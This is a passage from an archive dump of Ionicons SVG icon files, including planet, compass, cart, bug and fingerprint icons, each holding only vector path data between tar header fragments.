148.688z"/></svg>ionicons/svg/md-planet.svg000064400000001642151701353760011601 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M135.7 151c-2.5 3-4.9 6-7.2 9.2 32.2 36.3 76.1 76.5 124.2 113.7 37.8 29.2 76.3 55.2 111.4 75.1 5.9 3.3 11.7 6.5 17.3 9.4 2.5-3 4.9-6 7.2-9.2 11.7-16.1 18.1-33.2 23.3-53.6.8-3.2 1.5-6.4 2.1-9.5 15.8-83-35.6-164.9-118.5-185.9-37-9.4-74.1-5.1-106.3 9.7-21.4 9.9-38.2 22.9-53.5 41.1z"/><path d="M418.2 326.8c-4.1 11-7.4 17.5-7.4 17.5 18.2 21.1 24.6 33.9 31.9 46.4 2.4 4.1 7.4 13.1.9 12.4-1.7-.3-3.5-.7-5.5-1.3-21.3-5.4-51.2-18.7-84.3-37.4-35.8-20.3-74.9-46.7-113.3-76.3-51.1-39.5-97.5-82.3-130.6-120.5-15.3-17.6-27.6-34.2-35.7-47.9-2.4-4.1-3.9-6.3-5.6-10.4-2.5-6.2 5-5.1 7-4.6 14.9 3.8 35 9.9 58.2 23.8 0 0 4.3-4.8 13.9-11.4-22.8-15.4-44.6-27.7-65.2-35.5-23.1-8.8-41.1-6.8-47.5 3.7-12.2 19.9 14 72.3 65.3 132-21.5 86 30.6 173.3 116.5 195 41.1 10.4 82.4 3.9 116.8-15 38.1 17.6 72.1 28.6 96.9 34.9 23.9 6.1 40.4 5.5 46.8-4.9 11.1-18.2-12.1-51.8-59.1-100.5z"/></svg>ionicons/svg/ios-compass.svg000064400000000634151701353760012155 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M280.5 280.5l-49-49c-.9-.9-2.5-.7-3.2.4l-49.5 98.5c-1.1 1.8 1 3.9 2.8 2.8l98.5-49.5c1.1-.7 1.3-2.3.4-3.2z"/><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm40.6 249.3L137 377.8c-1.8 1.1-3.9-1-2.8-2.8l80.6-159.6c.2-.3.4-.5.7-.7L375 134.2c1.8-1.1 3.9 1 2.8 2.8l-80.6 159.6c-.1.3-.3.5-.6.7z"/></svg>ionicons/svg/md-refresh-circle.svg000064400000000605151701353760013211 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.6 48 48 141.6 48 256s93.6 208 208 208 208-93.6 208-208S370.4 48 256 48zm112 194h-98l44.8-44.8C300.1 181.8 279.1 172 256 172c-46.2 0-84 37.8-84 84s37.8 84 84 84c34.9 0 65.3-21.2 77.6-52h29.8c-13.9 46.3-56.3 80-107.4 80-62.3 0-112-50.4-112-112s50.4-112 112-112c30.8 0 58.8 12.6 79.1 32.9L368 144v98z"/></svg>ionicons/svg/md-cart.svg000064400000001277151701353760011253 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M169.6 377.6c-22.882 0-41.6 18.718-41.6 41.601 0 22.882 18.718 41.6 41.6 41.6s41.601-18.718 41.601-41.6c-.001-22.884-18.72-41.601-41.601-41.601zM48 51.2v41.6h41.6l74.883 151.682-31.308 50.954c-3.118 5.2-5.2 12.482-5.2 19.765 0 27.85 19.025 41.6 44.825 41.6H416v-40H177.893c-3.118 0-5.2-2.082-5.2-5.2 0-1.036 2.207-5.2 2.207-5.2l20.782-32.8h154.954c15.601 0 29.128-8.317 36.4-21.836l74.882-128.8c1.237-2.461 2.082-6.246 2.082-10.399 0-11.446-9.364-19.765-20.8-19.765H135.364L115.6 51.2H48zm326.399 326.4c-22.882 0-41.6 18.718-41.6 41.601 0 22.882 18.718 41.6 41.6 41.6S416 442.082 416 419.2c0-22.883-18.719-41.6-41.601-41.6z"/></svg>ionicons/svg/ios-tennisball.svg000064400000001140151701353760012634 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M250.4 464c1-7.9 1.6-15.9 1.6-23.9 0-48.1-18.7-94.3-52.7-128.3S119 260 70.9 260c-7.7 0-15.4.5-22.9 1.4 2.8 110.3 92.3 199.3 202.4 202.6z"/><path d="M230 74c0-8.3.5-16.4 1.4-24.5-95.3 11.7-171.7 89-182.2 184.7 7.2-.7 14.4-1.1 21.8-1.1 114.9 0 207.1 92.2 207.1 207 0 7.7-.4 15.3-1.3 22.8 96.6-10.1 174.6-86.2 185.8-182.4-8.4 1-16.9.6-25.5.6C322.1 281 230 188.9 230 74z"/><path d="M308.7 202.3c34 34 80.2 52.7 128.3 52.7 9.1 0 18.1-.7 27-2-2.2-112-93.9-203.5-206.1-205-1.2 8.5-1.9 17.2-1.9 26 0 48.1 18.7 94.3 52.7 128.3zM232 49.3z"/></svg>ionicons/svg/ios-arrow-round-up.svg000064400000000515151701353760013407 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M348.3 216.4c-5 5.1-13.3 5.1-18.4.1L269 155.8v231.3c0 7.1-5.8 12.9-13 12.9s-13-5.8-13-12.9V155.8l-60.9 60.8c-5.1 5-13.3 4.9-18.4-.1-5-5.1-5-13.2.1-18.3l83-82.4c1.2-1.1 2.5-2 4.1-2.7 1.6-.7 3.3-1 5-1 3.4 0 6.6 1.3 9.1 3.7l83 82.4c5.2 4.9 5.3 13.1.3 18.2z"/></svg>ionicons/svg/md-flame.svg000064400000001033151701353760011374 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M393.3 222.1l-.2 10.4c-.8 11.7-7.9 43.4-22.1 54.7 7-15.2 17.3-47.2 10.2-82.7C361.6 107 287.5 65.6 193 50l-17.2-2.2c39.5 47.2 56.1 81.7 49.7 116.8-2.3 12.6-10 23.4-14 31.6 0 0 2.4-12.9 2-28.7-.3-14.2-6.6-31-18-39.6 3.5 18.4-.8 33.5-9.1 47.7-24.7 42.2-85.4 57.8-90.4 135.8v3.8c0 53.7 25.6 99 68.7 125-6.8-12.3-12-35.2-5.7-60.2 4 23.7 14 36 24.9 51.8 8.2 11.7 19.1 19.3 33.1 24.9s31 7.2 47.9 7.2c55.8 0 91.4-18.1 119.1-50.5s32.1-68 32.1-106.4-8.5-60.9-22.8-84.9z"/></svg>ionicons/svg/ios-nutrition.svg000064400000001664151701353760012547 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M359.1 231.9h-.1c-.1-.1-.3-.4-.4-.6l-78.9-79.6c-5.8-6-14.2-10.2-23.6-10.2-11.8 0-22.2 6.2-27.7 16.3 0 0-3.4 5.1-12.6 19.8-1.6 2.6-1.6 6 .1 8.6l26.8 41.2c2.9 3.8 3.3 8 1.4 9.9l-.1.1c-2.3 2.3-5.9 1.5-9.8-1.4l-32.3-20.5c-3.8-2.4-8.7-1.2-11.1 2.5-21.9 35.1-46.8 74.7-71.2 114-1.6 2.5-1.6 5.7-.1 8.3l14.1 24.1c2.9 3.8 3.3 8 1.4 9.9l-.1.1c-2.3 2.3-5.9 1.5-9.8-1.4l-16.6-8.4c-3.7-1.9-8.2-.6-10.4 2.9-17.7 28.3-28 44.7-29.1 46.5-3 5.1-5 11.2-5 17.8 0 17.8 14.2 32.2 31.9 32.2 7.8 0 14.4-3.4 20.6-7.6L221 378.8c3.4-2.5 4.2-7.2 2-10.7L202.5 336c-2.9-3.8-3.3-8-1.4-9.9l.1-.1c2.3-2.3 5.9-1.5 9.8 1.4l37.4 25.6c2.8 1.9 6.5 1.9 9.3-.2 53-39.1 97.5-72.2 97.5-72.2 7.9-6 13-15.4 13-26 0-8.7-3.1-16.8-9.1-22.7zM446.9 131.2l-11.2-17.9c-2.2-3.8-7.1-5.1-10.9-2.9L365.4 147l47.3-78.9c2.2-3.8.9-8.8-2.9-11l-17.7-8c-3.9-2.3-8.8-.9-11 3l-57.6 108.3 28.6 28.8 91.8-46.8c3.9-2.2 5.3-7.2 3-11.2z"/></svg>ionicons/svg/logo-hackernews.svg000064400000000244151701353760013005 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 64v384h384V64H64zm214 215v72h-40v-72l-66-120h47.1l39.7 83.6 38-83.6H342l-64 120z"/></svg>ionicons/svg/ios-volume-mute.svg000064400000000463151701353760012767 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M326.9 145.6c-2.2-1.1-4.6-1.6-6.9-1.6-3.6 0-7.1 1.2-10 3.5L244.8 200H192c-8.8 0-16 7.2-16 16v80c0 8.8 7.2 16 16 16h52.8l65.2 52.5c2.9 2.3 6.5 3.5 10 3.5 2.3 0 4.7-.5 6.9-1.6 5.6-2.7 9.1-8.3 9.1-14.4V160c0-6.2-3.5-11.8-9.1-14.4z"/></svg>ionicons/svg/md-menu.svg000064400000000246151701353760011261 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M64 384h384v-42.666H64V384zm0-106.666h384v-42.667H64v42.667zM64 128v42.665h384V128H64z"/></svg>ionicons/svg/logo-rss.svg000064400000000574151701353760011470 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M119.9 336.1c-30.8 0-55.9 25.1-55.9 55.8 0 30.8 25.1 55.6 55.9 55.6 30.9 0 55.9-24.9 55.9-55.6 0-30.7-25-55.8-55.9-55.8z"/><path d="M64 192v79.9c48 0 94.1 14.2 128 48.1 33.9 33.9 48 79.9 48 128h80c0-139.9-116-256-256-256z"/><path d="M64 64v79.9c171 0 303.9 133 303.9 304.1H448C448 236.3 276 64 64 64z"/></svg>ionicons/svg/md-phone-portrait.svg000064400000000436151701353760013271 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M358.856 32H153.143C130.512 32 112 50.326 112 72.728v366.545C112 461.674 130.512 480 153.143 480h205.713C381.488 480 400 461.674 400 439.272V72.728C400 50.326 381.488 32 358.856 32zM364 400H148V112h216v288z"/></svg>ionicons/svg/md-mail.svg000064400000000477151701353760011245 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M437.332 80H74.668C51.199 80 32 99.198 32 122.667v266.666C32 412.802 51.199 432 74.668 432h362.664C460.801 432 480 412.802 480 389.333V122.667C480 99.198 460.801 80 437.332 80zM432 170.667L256 288 80 170.667V128l176 117.333L432 128v42.667z"/></svg>ionicons/svg/ios-contrast.svg000064400000000423151701353760012341 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 48C141.1 48 48 141.1 48 256s93.1 208 208 208 208-93.1 208-208S370.9 48 256 48zm127.3 335.3c-34 34-79.2 52.7-127.3 52.7V76c48.1 0 93.3 18.7 127.3 52.7S436 207.9 436 256s-18.7 93.3-52.7 127.3z"/></svg>ionicons/svg/md-speedometer.svg000064400000001246151701353760012632 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M128 416h256v48H128zM256 288c17.7 0 32-14.3 32-32s-14.3-32-32-32c-3 0-6 .4-8.8 1.2l-66.7-48.7-4 3.5 48.9 66.7c-.9 2.9-1.4 6-1.4 9.3 0 17.7 14.3 32 32 32z"/><path d="M256 48C141.1 48 48 141.1 48 256c0 48.3 16.5 92.7 44.1 128h58.8l4-4 22.1-22.1-22.9-22.9-22.1 22c-19.9-24.3-32.1-54-35.2-85H128v-32H96.8c3.1-31 15.3-60.7 35.2-85l22.1 22 22.9-22.9-22-22.1c24.3-19.9 54-32.1 85-35.2V128h32V96.8c31 3.1 60.7 15.3 85 35.2l-22 22.1 22.9 22.9 22.1-22c19.9 24.3 32.1 54 35.2 85H384v32h31.2c-3.1 31-15.3 60.7-35.2 85l-22.1-22-22.9 22.9 22.1 22.1 4 4h58.8c27.6-35.3 44.1-79.7 44.1-128 0-114.9-93.1-208-208-208z"/></svg>ionicons/svg/ios-planet.svg000064400000002040151701353760011764 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M462.5 352.3c-1.9-5.5-5.6-11.5-11.4-18.3-10.2-12-30.8-29.3-54.8-47.2-2.6-2-6.4-.8-7.5 2.3l-4.7 13.4c-.7 2 0 4.3 1.7 5.5 15.9 11.6 35.9 27.9 41.8 35.9 2 2.8-.5 6.6-3.9 5.8-10-2.3-29-7.3-44.2-12.8-8.6-3.1-17.7-6.7-27.2-10.6 16-20.8 24.7-46.3 24.7-72.6 0-32.8-13.2-63.6-37.1-86.4-22.9-21.9-53.8-34.1-85.7-33.7-25.7.3-50.1 8.4-70.7 23.5-18.3 13.4-32.2 31.3-40.6 52-8.3-6-16.1-11.9-23.2-17.6-13.7-10.9-28.4-22-38.7-34.7-2.2-2.8.9-6.7 4.4-5.9 11.3 2.6 35.4 10.9 56.4 18.9 1.5.6 3.2.3 4.5-.8l11.1-10.1c2.4-2.1 1.7-6-1.3-7.2C121 137.4 89.2 128 73.2 128c-11.5 0-19.3 3.5-23.3 10.4-7.6 13.3 7.1 35.2 45.1 66.8 34.1 28.5 82.6 61.8 136.5 92 87.5 49.1 171.1 81 208 81 11.2 0 18.7-3.1 22.1-9.1 2.8-4.7 3.1-10.4.9-16.8zM312 354c-29.1-12.8-59.3-26-92.6-44.8-30.1-16.9-59.4-36.5-84.4-53.6-1-.7-2.2-1.1-3.4-1.1-.9 0-1.9.2-2.8.7-2 1-3.3 3-3.3 5.2 0 1.2-.1 2.4-.1 3.5 0 32.1 12.6 62.3 35.5 84.9 22.9 22.7 53.4 35.2 85.8 35.2 23.6 0 46.5-6.7 66.2-19.5 1.9-1.2 2.9-3.3 2.7-5.5-.1-2.2-1.5-4.1-3.6-5z"/></svg>ionicons/svg/md-log-out.svg000064400000001072151701353760011701 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 277.4h189.7l-43.6 44.7L368 352l96-96-96-96-31 29.9 44.7 44.7H192v42.8z"/><path d="M255.7 421.3c-44.1 0-85.5-17.2-116.7-48.4-31.2-31.2-48.3-72.7-48.3-116.9 0-44.1 17.2-85.7 48.3-116.9 31.2-31.2 72.6-48.4 116.7-48.4 44 0 85.3 17.1 116.5 48.2l30.3-30.3c-8.5-8.4-17.8-16.2-27.7-23.2C339.7 61 298.6 48 255.7 48 141.2 48 48 141.3 48 256s93.2 208 207.7 208c42.9 0 84-13 119-37.5 10-7 19.2-14.7 27.7-23.2l-30.2-30.2c-31.1 31.1-72.5 48.2-116.5 48.2zM448.004 256.847l-.849-.848.849-.849.848.849z"/></svg>ionicons/svg/ios-bug.svg000064400000003265151701353760011270 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M374.6 127.3C345.4 88.5 303.1 64 256 64c-47.1 0-89.4 24.5-118.6 63.3 6.4 15.6 15.8 30 28.1 42.3 24.2 24.2 56.3 37.5 90.5 37.5s66.3-13.3 90.5-37.5c12.3-12.3 21.8-26.6 28.1-42.3z"/><path d="M122 150s-3.8-1.6-5.9-3.3c-2.1-1.7-5-4.9-6.5-8.4 5.4-11.3 1.2-25-9.9-31.3-11.8-6.6-26.9-2.2-33.1 10-4.5 8.9-2.9 19.8 3.8 27.1 1.8 1.9 3.7 3.4 5.7 4.6 2.8 1.6 4.9 4 6.4 6.8 2.7 5.2 6.4 10.7 11.1 14.6 4.2 3.5 8.8 7.1 15.2 10.7-7.2 20.3-11.6 42.3-12.5 65.4-11 .2-18.6 2.1-25.5 4.1-4.2 1.2-8.2 3.4-11.8 5.9-1-.1-1.9-.2-2.9-.2-13.8 0-24.8 11.6-24 25.6.7 11.8 10.3 21.5 22.2 22.4 11 .8 20.6-5.9 24.3-15.5 2-5.3 6.7-9.2 12.4-9.9 1.9-.2 3.9-.4 6.2-.4 3.2 33 13.3 63.5 28.6 89.2-14.2 11-22.9 23-26.6 36.3 0 0-.8.4-1.9 1.4-1 .8-1.9 1.6-2.8 2.6-8.9 9.9-8.1 25 1.8 33.9 9.9 8.9 25 8.1 33.9-1.8 6.2-6.9 7.6-16.3 4.6-24.5-2.2-6-.7-12.7 3.9-17 1.6-1.5 3.5-3.1 5.7-4.9 27.1 31.7 59.4 52 99.7 54.4V232.9C190.8 230 144.4 195.3 122 150zM456 256.1c-1 0-2 .1-2.9.2-3.6-2.5-7.7-4.6-11.8-5.9-6.9-2-14.4-3.9-25.5-4.1-1-23.1-5.4-45.2-12.5-65.4 6.4-3.6 11-7.2 15.2-10.7 4.9-4.1 8.7-10 11.5-15.3 1.3-2.5 3.3-4.5 5.8-5.9 0 0 .1 0 .1-.1 11.6-6.5 15.7-21.1 9.2-32.7-6.5-11.6-21.1-15.7-32.7-9.2-11.1 6.2-15.3 19.9-9.9 31.3-1.6 3.4-3.4 5.7-6.5 8.4-2.3 2-5.9 4.3-5.9 4.3-22.4 45.3-68.8 79-122 81.9V448c40.3-2.4 72.6-22.8 99.7-54.4 2.1 1.7 3.9 3.2 5.4 4.6 4.8 4.4 6.4 11.3 4.2 17.5-3 8.1-1.5 17.5 4.7 24.3 8.9 9.9 24 10.7 33.9 1.8 9.9-8.9 10.7-24 1.8-33.9-.9-1-1.8-1.8-2.8-2.6-1.1-.9-1.9-1.4-1.9-1.4-3.7-13.3-12.4-25.3-26.6-36.3 15.3-25.7 25.4-56.2 28.6-89.2 2.1 0 4.1.2 5.9.4 5.9.7 10.7 4.7 12.9 10.2 3.7 9.4 13.2 15.9 24.1 15.1 11.8-.9 21.4-10.5 22.2-22.4.6-14-10.4-25.6-24.2-25.6z"/></svg>ionicons/svg/logo-skype.svg000064400000003012151701353760012002 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M436.9 296.8c2.8-12.5 4.2-25.4 4.2-38.7 0-99.7-82-180.6-183.2-180.6-10.7 0-21.1.9-31.3 2.6C210.3 69.9 191 64 170.2 64 111.6 64 64 110.9 64 168.7c0 19.4 5.3 37.5 14.6 53-2.4 11.7-3.7 23.9-3.7 36.3 0 99.8 82 180.6 183.1 180.6 11.5 0 22.7-1 33.5-3 15 7.9 32.1 12.4 50.2 12.4 58.7 0 106.2-46.9 106.2-104.7.1-16.7-3.9-32.5-11-46.5zm-85 47.5c-8.5 11.8-21 21.2-37.2 27.8-16.1 6.6-35.3 9.9-57.3 9.9-26.3 0-48.3-4.6-65.6-13.6-12.3-6.6-22.4-15.4-30.2-26.4-7.8-11-11.7-22-11.7-32.6 0-6.6 2.6-12.3 7.6-17.1 5-4.6 11.5-7 19.1-7 6.3 0 11.7 1.8 16.1 5.5 4.2 3.5 7.8 8.7 10.7 15.5 3.3 7.3 6.8 13.5 10.6 18.4 3.6 4.7 8.7 8.6 15.3 11.7 6.7 3.1 15.6 4.7 26.6 4.7 15.1 0 27.5-3.2 36.8-9.5 9.2-6.1 13.6-13.5 13.6-22.5 0-7.1-2.3-12.7-7.1-17.1-5-4.6-11.5-8.2-19.6-10.6-8.3-2.6-19.6-5.3-33.6-8.2-19-4-35.1-8.8-48-14.2-13.1-5.5-23.7-13.2-31.5-22.7-7.9-9.7-11.8-21.9-11.8-36.2 0-13.7 4.2-25.9 12.4-36.5 8.2-10.5 20.1-18.7 35.6-24.3 15.2-5.6 33.3-8.4 53.7-8.4 16.4 0 30.7 1.9 42.7 5.5 12.1 3.7 22.2 8.7 30.3 14.9 8 6.2 14 12.8 17.8 19.7 3.8 7 5.7 13.9 5.7 20.6 0 6.4-2.5 12.3-7.5 17.4-5 5.1-11.3 7.8-18.8 7.8-6.8 0-12.1-1.6-15.8-4.8-3.4-3-7-7.6-10.9-14.3-4.6-8.5-10.1-15.3-16.4-20.1-6.2-4.6-16.4-7-30.6-7-13.1 0-23.8 2.6-31.7 7.7-7.6 4.9-11.3 10.6-11.3 17.3 0 4.1 1.2 7.5 3.7 10.5 2.6 3.1 6.2 5.9 10.9 8.2 4.8 2.4 9.8 4.3 14.7 5.6 5.1 1.4 13.6 3.5 25.3 6.1 14.9 3.1 28.5 6.7 40.5 10.4 12.2 3.9 22.7 8.6 31.3 14.1 8.8 5.6 15.7 12.9 20.7 21.5 4.9 8.6 7.4 19.4 7.4 31.8.4 15.1-3.9 28.7-12.5 40.5z"/></svg>ionicons/svg/md-pulse.svg000064400000001026151701353760011442 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M428 269c-21.5 0-40.6 13.1-48.4 33h-41.2L307 221.3c-2.7-8.2-10.3-13.7-19-13.7h-.4c-8.8.2-16.4 6-18.8 14.5l-33.6 135.4-55.5-291.8C178 55.6 169.6 48 160 48c-9.5 0-16.9 6.2-19.4 16.2L90.3 302H32v40h74c9.2 0 17.2-6.2 19.4-15.2l30.7-160.6 54.1 282.1c1.5 8.8 8.9 15.1 18.6 15.7h1.2c9.3 0 16.9-5.3 19.2-13.5l40.2-162.9 15.5 40.7c2.7 8.2 10.3 13.7 19 13.7h56.4c8.3 19 27.1 31 47.6 31 13.9 0 26.9-5.6 36.8-15.8 9.8-10.1 15.2-23.3 15.2-37.2.1-28.6-22.7-51-51.9-51z"/></svg>ionicons/svg/ios-heart-empty.svg000064400000001256151701353760012750 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M352 56h-1c-39.7 0-74.8 21-95 52-20.2-31-55.3-52-95-52h-1c-61.9.6-112 50.9-112 113 0 37 16.2 89.5 47.8 132.7C156 384 256 456 256 456s100-72 160.2-154.3C447.8 258.5 464 206 464 169c0-62.1-50.1-112.4-112-113zm41.6 229.2C351 343.5 286.1 397.3 256 420.8c-30.1-23.5-95-77.4-137.6-135.7C89.1 245.1 76 198 76 169c0-22.6 8.8-43.8 24.6-59.8 15.9-16 37-24.9 59.6-25.1H161.1c14.3 0 28.5 3.7 41.1 10.8 12.2 6.9 22.8 16.7 30.4 28.5 5.2 7.9 14 12.7 23.5 12.7s18.3-4.8 23.5-12.7c7.7-11.8 18.2-21.6 30.4-28.5 12.6-7.1 26.8-10.8 41.1-10.8h.9c22.5.2 43.7 9.1 59.6 25.1 15.9 16 24.6 37.3 24.6 59.8-.2 29-13.3 76.1-42.6 116.2z"/></svg>ionicons/svg/md-mic.svg000064400000000666151701353760011073 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 320c37.712 0 68.571-30.924 68.571-68.714V100.714C324.571 62.924 293.712 32 256 32s-68.571 30.924-68.571 68.714v150.572c0 37.79 30.859 68.714 68.571 68.714zm121.139-75.452c0 68.714-58.282 116.815-121.139 116.815s-121.139-48.102-121.139-116.815H96c0 77.873 61.719 143.153 137.144 153.465V480h45.713v-81.987C354.281 386.561 416 322.421 416 244.548h-38.861z"/></svg>ionicons/svg/ios-download.svg000064400000000651151701353760012316 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M376 144H269v179.9l47.9-47.2c5.1-5 13.3-5 18.4.1 5 5.1 5 13.3-.1 18.4l-70 69c-2.5 2.4-5.8 3.7-9.1 3.7-1.7 0-3.4-.3-5-1-1.5-.6-2.9-1.6-4.1-2.7l-70-69c-5.1-5-5.2-13.3-.1-18.4 5-5.1 13.3-5.2 18.4-.1l47.9 47.2V144H136c-22 0-40 18-40 40v240c0 22 18 40 40 40h240c22 0 40-18 40-40V184c0-22-18-40-40-40zM269 61c0-7.2-5.8-13-13-13s-13 5.8-13 13v83h26V61z"/></svg>ionicons/svg/md-trending-down.svg000064400000000276151701353760013077 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M480 397V262.5l-51.3 51.3-141.1-141-89.6 89.7L63.6 128 32 159.6l166 166.3 89.6-89.7 109.3 109.4-51.3 51.4H480z"/></svg>ionicons/svg/ios-finger-print.svg000064400000006126151701353760013116 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M450.8 182c-8.6-24.4-20.3-44.9-33-57.5-2.6-2.6-6-4-9.7-4-3.7 0-7.1 1.4-9.7 4-5.3 5.3-5.3 14 0 19.4 9.9 9.9 19.6 27.4 26.8 48.1 7.3 21.2 11.4 43.6 11.4 63.1 0 3-.1 7.6-.2 10.1-.2 3.7 1.1 7.1 3.6 9.8 2.5 2.7 5.8 4.3 9.5 4.4h.6c7.3 0 13.3-5.7 13.7-13.1.1-3.1.2-8.1.2-11.3 0-22.8-4.7-48.8-13.2-73zM143 110.6c2.9 0 5.6-.9 8-2.6 29.9-21.4 66.2-32.7 105-32.7 40.8 0 80.1 14.8 113.7 42.8 2.5 2 5.6 3.2 8.8 3.2 4.1 0 7.9-1.8 10.5-4.9 4.8-5.8 4-14.4-1.7-19.3C348.6 65 303.3 48 256 48c-44.6 0-86.4 13.1-121 37.8-3 2.1-4.9 5.3-5.5 8.9-.6 3.6.2 7.2 2.4 10.2 2.5 3.6 6.7 5.7 11.1 5.7zM75.4 255c0-43.7 15.8-85.8 44.5-118.7 2.4-2.8 3.6-6.3 3.3-9.9-.2-3.6-1.9-7-4.7-9.4-2.5-2.2-5.7-3.4-9-3.4-4 0-7.7 1.7-10.3 4.7C66.2 156.2 48 204.7 48 255c0 32.8 5.9 58.8 15.4 90.2 1.8 5.8 7 9.7 13.1 9.7 1.3 0 2.7-.2 4-.6 3.5-1.1 6.4-3.4 8.1-6.6 1.7-3.2 2.1-6.9 1-10.4-8.8-29-14.2-52.8-14.2-82.3z"/><path d="M355.7 129.8C328.4 106.1 295 93.6 259 93.6c-48.3 0-91.4 17.8-121.5 50.1-28.7 30.8-42.8 71.7-39.7 115.1 2.3 32.7 6 50.7 9.3 66.6 4.3 21.1 7.7 37.8 5.1 84.1-.4 6.7 3.7 12.7 10 14.6 1.2.4 2.3.5 3.6.5 7.2 0 13.2-5.7 13.7-12.9 2.9-50.4-.8-68.7-5.5-91.9-3.1-15.1-6.6-32.2-8.8-63.1-2.6-35.7 9-69.3 32.4-94.5 24.8-26.7 60.9-41.4 101.4-41.4 29.3 0 56.5 10.2 78.7 29.5 22.3 19.3 39.2 47.4 49 81.1 11.4 39.3 14.5 89.3 9.1 144.5-.7 7.5 4.8 14.2 12.3 15 .4 0 .9.1 1.3.1 7.1 0 12.9-5.3 13.6-12.4 5.8-58.7 2.3-112.2-10.1-154.8-11.1-38.6-30.9-71.2-57.2-94z"/><path d="M373.5 267.5c-5.9-37.5-19.9-68.8-40.6-90.6-20.8-22-47.4-33.7-76.9-33.7-19 0-37.7 4.1-54.1 12-3.7 1.8-6.4 5.1-7.4 9.1-1 4.1-.1 8.3 2.5 11.6 2.6 3.4 6.5 5.3 10.8 5.3 2.1 0 4-.5 5.9-1.3 12.6-6 27.2-9.2 42.2-9.2 22.4 0 42.5 9.2 58.3 26.6 16.1 17.8 27.3 43.6 32.1 74.6 4.7 29.6 7 53.5 7.1 73.1.2 39.7-4.8 72.7-4.8 73.1-.6 3.6.3 7.2 2.5 10.2 2.2 3 5.3 4.9 8.9 5.5.7.1 1.4.2 2.1.2 6.8 0 12.5-4.9 13.5-11.6.2-1.4 5.4-35.2 5.2-77.5 0-21.3-2.4-46.5-7.3-77.4zM185.3 203.5c4-5.8 2.9-13.6-2.5-18.2-2.5-2.1-5.6-3.2-8.8-3.2-4.5 0-8.7 2.2-11.3 5.9-14.7 21.5-19.7 49.1-14.4 79.8 8.9 51.3 16.9 111.1 9.4 165-.5 3.8.5 7.7 2.9 10.7 2.3 3 5.7 4.8 9.4 5.1.4 0 .8.1 1.2.1 6.8 0 12.6-5.1 13.5-11.8 8.2-57.7-.2-120.2-9.5-173.8-4.1-23.8-.7-43.9 10.1-59.6zM317.5 388h-.5c-7.6.3-13.5 6.6-13.2 14.2 0 .2.6 17.9-2.6 34.7-1.3 6.9 2.6 13.7 9.1 15.8 1.4.4 2.8.7 4.3.7 6.6 0 12.2-4.7 13.4-11.1 3.8-20.1 3.1-40.2 3.1-41.1-.2-7.5-6.2-13.2-13.6-13.2z"/><path d="M294.6 205.9c-11.2-10.5-25.2-16.1-40.5-16.1-19.8 0-36.7 7.3-47.6 20.5-8.3 10.1-17 28.8-10.9 60 12.3 62.5 15 121.6 8.1 175.6-1 7.5 4.4 14.4 11.8 15.3.6.1 1.2.1 1.7.1 6.9 0 12.7-5.1 13.6-12 7.3-57 4.5-119-8.3-184.4-3.2-16.4-1.4-29.3 5.1-37.3 5.6-6.8 15-10.5 26.4-10.5 25 0 35.1 27.6 38.3 39.4 6.9 25.7 10.9 63 11.5 107.7.1 7.4 6.2 13.5 13.7 13.5h.2c3.6-.1 7-1.5 9.6-4.1 2.5-2.6 3.9-6.1 3.9-9.7-.7-47-5-86.5-12.5-114.4-4.9-18.5-13.1-33.2-24.1-43.6z"/><path d="M265.2 245.9c-2.1-5.1-7.1-8.5-12.7-8.5-1.8 0-3.6.4-5.2 1-7 2.9-10.3 10.9-7.4 17.9 6.6 16 11.8 46.2 14.1 82.8 2.4 36.9 1.7 76.9-2 109.6-.4 3.6.6 7.2 2.9 10.1 2.3 2.9 5.5 4.6 9.2 5 .5.1 1 .1 1.5.1 7 0 12.8-5.2 13.6-12.2 3.9-35.5 4.6-76.6 2-115.8-2.5-39.3-8.2-71.3-16-90z"/></svg>ionicons/svg/md-bulb.svg000064400000000506151701353760011240 0ustar00<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M192 428c0 10.6 8.6 20 20 20h88c11.4 0 20-9.4 20-20v-18H192v18zm64-364c-79.7 0-144 59.9-144 134 0 45.7 24.1 86.2 61.4 110.6V352c0 10.6 9.3 19.2 20.6 19.2h123.9c11.4 0 20.6-8.6 20.6-19.2v-43.4C375.9 284.2 400 243.7 400 